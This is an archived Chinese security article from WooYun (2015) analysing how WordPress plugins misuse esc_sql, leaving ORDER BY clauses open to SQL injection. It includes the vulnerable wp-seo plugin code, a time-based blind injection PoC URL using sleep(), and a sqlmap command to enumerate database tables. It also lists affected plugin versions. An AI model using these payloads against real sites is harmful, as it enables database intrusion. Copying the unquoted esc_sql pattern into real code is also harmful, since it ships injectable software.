分析WordPress中esc_sql函数引起的注入危害

乌云历史资料库 · · The Attic

乌云历史资料归档

原始作者: L.N. 原始编号: superkieran-wooyundrops:508 原始发布时间: 2015-03-19 09:11 声明:内容仅用于技术研究和个人使用,版权归 wooyun.org。


0x00 背景

这篇文章说的不是esc_sql函数自身有什么逻辑上缺陷或者不足,而是说下关于二次开发者错误的使用此函数引起的注入漏洞。 在wordpress手册中关于esc_sql的解释,在以前的版本中,官方并没有说出这个函数有任何问题:

原文图片

在近期的wordpress手册中说出了这个函数如果错误使用会造成注入漏洞:

原文图片

0x01 分析

我们再看下esc_sql的实现:

#!php function esc_sql( $data ) { global $wpdb; return $wpdb->_escape( $data ); } function _escape( $data ) { if ( is_array( $data ) ) { foreach ( $data as $k => $v ) { if ( is_array($v) ) $data[$k] = $this->_escape( $v ); else $data[$k] = $this->_real_escape( $v ); } } else { $data = $this->_real_escape( $data ); } return $data; } function _real_escape( $string ) { if ( $this->dbh ) { if ( $this->use_mysqli ) { return mysqli_real_escape_string( $this->dbh, $string ); } else { return mysql_real_escape_string( $string, $this->dbh ); } } $class = get_class( $this ); if ( function_exists( '__' ) ) { _doing_it_wrong( $class, sprintf( __( '%s must set a database connection for use with escaping.' ), $class ), E_USER_NOTICE ); } else { _doing_it_wrong( $class, sprintf( '%s must set a database connection for use with escaping.', $class ), E_USER_NOTICE ); } return addslashes( $string ); }

通过对比上面两个手册和代码我们可以清晰的得出以下几个结论:

  • 99%的情况下你可以使用$wpdb->prepare()函数来做数据库操作(有那些是哪不能的1%呢?order by、like···· )

  • esc_sql是addslashes()函数的数组应用,但是esc_sql转义数组的时候只转义数组值。

  • esc_sql并没有对输入数据自动加引号保护

由于老版本手册的说明不严谨问题,在很多二次开发者使用esc_sql函数的时候出现了注入漏洞。 wp-seo插件注入漏洞 在文件admin/class-bulk-editor-list-table.php中:

#!php protected function parse_item_query( $subquery, $all_states, $post_type_clause ) { // Order By block $orderby = ! empty( $_GET['orderby'] ) ? esc_sql( sanitize_text_field( $_GET['orderby'] ) ) : 'post_title'; $order = 'ASC'; if ( ! empty( $_GET['order'] ) ) { $order = esc_sql( strtoupper( sanitize_text_field( $_GET['order'] ) ) ); } // Get all needed results $query = " SELECT ID, post_title, post_type, post_status, post_modified, post_date FROM {$subquery} WHERE post_status IN ({$all_states}) $post_type_clause ORDER BY {$orderby} {$order} LIMIT %d,%d "; return $query; }

其中很明显的漏洞出现了,然后就是构造poc:

http://192.168.9.102/wordpress/wp-admin/admin.php?page=wpseo_bulk-editor&type=title&orderby=post_date%2c(select%20*%20from%20(select(sleep(10)))a)&order=asc

如何使用sqlmap在order by后面延时注入,可以请参考:http://drops.wooyun.org/tips/5254自写,也可以抓包:

#!bash python sqlmap.py -r 2.txt --technique=B --dbms=MySQL -D wordpress --tables GET /wordpress/wp-admin/admin.php?page=wpseo_bulk-editor&type=title&orderby=pos$ Host: 192.168.9.102 Proxy-Connection: keep-alive Cache-Control: max-age=0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=$ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like$ Accept-Encoding: gzip, deflate, sdch Accept-Language: zh-CN,zh;q=0.8 Cookie: wordpress_1d5e8f89471a6349f1caf2e6b8aa4232=admin%7C1426827482%7CjKzM166$...

出现这样漏洞的插件还有:

WooCommerce 2.3 – 2.3.5 Pods 1.10 <= 2.5.1.1 AffiliateWP < 1.5.7 WP All Import < 4.1.2 Gravity Forms < 1.9.4

0x02 总结:

从上面的分析和出现的已知漏洞不难看出,此函数滥用的插件应该不在少数。

Replies